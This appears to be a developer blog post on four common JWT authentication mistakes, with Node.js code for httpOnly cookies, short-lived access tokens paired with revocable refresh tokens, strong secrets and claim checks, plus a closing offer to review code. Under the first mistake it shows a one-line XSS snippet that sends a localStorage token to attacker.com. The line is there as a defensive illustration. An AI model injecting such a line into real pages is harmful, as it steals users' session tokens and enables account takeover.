The most common JWT implementation I see: token generated on login, stored in localStorage, sent in the Authorization header on every request, no expiry or a 30-day expiry. This works. It is also vulnerable to XSS attacks, has no revocation mechanism, and gives an attacker who steals a token full access for weeks.
Mistake 1: Storing tokens in localStorage
localStorage is accessible to any JavaScript running on your domain. If your application has an XSS vulnerability (and most do: unescaped user content, a vulnerable third-party library, a misconfigured CSP), an attacker can steal the token with a single line of JavaScript and use it from anywhere.
// XSS attack that steals localStorage tokens (one line)
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));
// This can be injected via:
// - Unescaped user content rendered as HTML
// - Compromised CDN/third-party script
// - Browser extension with broad permissions
// - Any code injection vulnerabilityThe fix is to store tokens in httpOnly cookies. An httpOnly cookie cannot be read by JavaScript: it is only sent by the browser automatically with requests to your domain. An XSS attack cannot steal it.
// Set the token as an httpOnly cookie (server-side)
res.cookie('token', jwtToken, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // Not sent with cross-site requests (CSRF protection)
maxAge: 15 * 60 * 1000, // 15 minutes for access tokens
});Mistake 2: Long-lived access tokens with no refresh mechanism
A JWT that expires in 30 days gives an attacker who steals it 30 days of access. During those 30 days, if you want to revoke it, you cannot: JWTs are stateless by design. The token is valid until expiry unless you add a server-side blocklist (which defeats part of the purpose of JWTs).
The correct pattern: a short-lived access token (15 minutes) paired with a long-lived refresh token. The access token is used for API requests. When it expires, the client uses the refresh token to get a new one. The refresh token is stored in an httpOnly cookie and can be revoked server-side.
// On login: issue both tokens
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_ACCESS_SECRET,
{ expiresIn: '15m' } // Short-lived
);
const refreshToken = jwt.sign(
{ userId: user.id },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' } // Long-lived, stored securely server-side
);
// Store refresh token hash in database for revocation
await db.refreshToken.create({
data: {
tokenHash: hashToken(refreshToken),
userId: user.id,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
}
});
// Send access token in response body, refresh token as httpOnly cookie
res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true, sameSite: 'strict' });
res.json({ accessToken });Mistake 3: Weak signing secrets
If your JWT secret is short, guessable, or hardcoded in source code, an attacker can brute-force it offline once they have any token. The signature verification depends entirely on the secret staying secret and being cryptographically strong.
// BAD: short, hardcoded secret
const JWT_SECRET = 'mysecret';
const JWT_SECRET = 'jwt-secret-key';
// GOOD: generate a cryptographically random secret
// Run once: node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
// Store the result in .env, never commit it
// For HS256, use a minimum 256-bit (32-byte) key
// For RS256 (asymmetric), use a 2048-bit RSA key pairConsider using RS256 (asymmetric signing) for services that need to verify tokens without being able to issue them. The private key signs tokens; the public key verifies them. Services can verify tokens without ever seeing the private key.
Mistake 4: Not validating the claims you care about
Verifying the JWT signature confirms the token was issued by you. It does not confirm the token is for this specific user, for this specific action, or that the user's role has not changed since the token was issued.
// After verifying the signature, check the claims matter to you
const decoded = jwt.verify(token, process.env.JWT_ACCESS_SECRET);
// Don't just trust the userId in the token for sensitive operations
// Verify the user still exists and still has the claimed role
const user = await db.user.findUnique({ where: { id: decoded.userId } });
if (!user || user.role !== decoded.role) {
throw new Error('Token claims no longer valid');
}
// For admin actions, check the database, not just the token
if (decoded.role === 'admin') {
const isActuallyAdmin = await db.user.findFirst({
where: { id: decoded.userId, role: 'admin', active: true }
});
if (!isActuallyAdmin) throw new Error('Unauthorized');
}The correct minimal implementation
Access token: JWT, HS256 or RS256, 15-minute expiry, stored in application memory (a JavaScript variable, not localStorage). Refresh token: opaque random token, stored in the database hashed, 7-day expiry, stored in httpOnly cookie. Logout deletes the refresh token from the database.
If this is complex for your use case, use a managed auth provider. Clerk, Auth0, and Supabase Auth implement this pattern correctly and handle the edge cases you will miss if you build it yourself.
$ check --auth-implementation
If your auth was scaffolded by a tutorial or AI and you want to know if it is actually correct, I can review it. Covers token storage, expiry, refresh patterns, and claims validation.
$ ./review-auth.sh →